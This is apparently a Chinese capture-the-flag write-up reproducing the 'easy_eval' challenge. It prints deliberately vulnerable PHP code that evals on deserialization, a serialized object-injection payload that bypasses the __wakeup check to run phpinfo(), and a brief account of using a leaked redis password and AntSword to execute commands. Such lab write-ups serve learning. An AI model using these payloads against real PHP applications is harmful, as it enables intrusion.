天翼杯easy_eval复现
打天翼杯,人麻了,太菜了,只能赛后看wp去复现
https://www.ctfer.vip/ 感谢Xenny师傅的靶场提供环境
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
进去之后简单的反序列化,需要绕过wakeup
这个还是比较简单的,预期解应该是大小写绕过,我解得时候用了非预期,利用了基类去绕过
O:8:"stdClass":2:{s:4:"test";O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}}
成功打出了phpinfo 然后就在研究怎么命令执行,到最后也没解出来
目录下有一个config文件,里面给了redis的密码
本题是有一个redis服务,利用其去提权。
利用蚁剑的redis工具,以及config文件里的密码连接并打开终端
上传脚本并加载
执行命令
|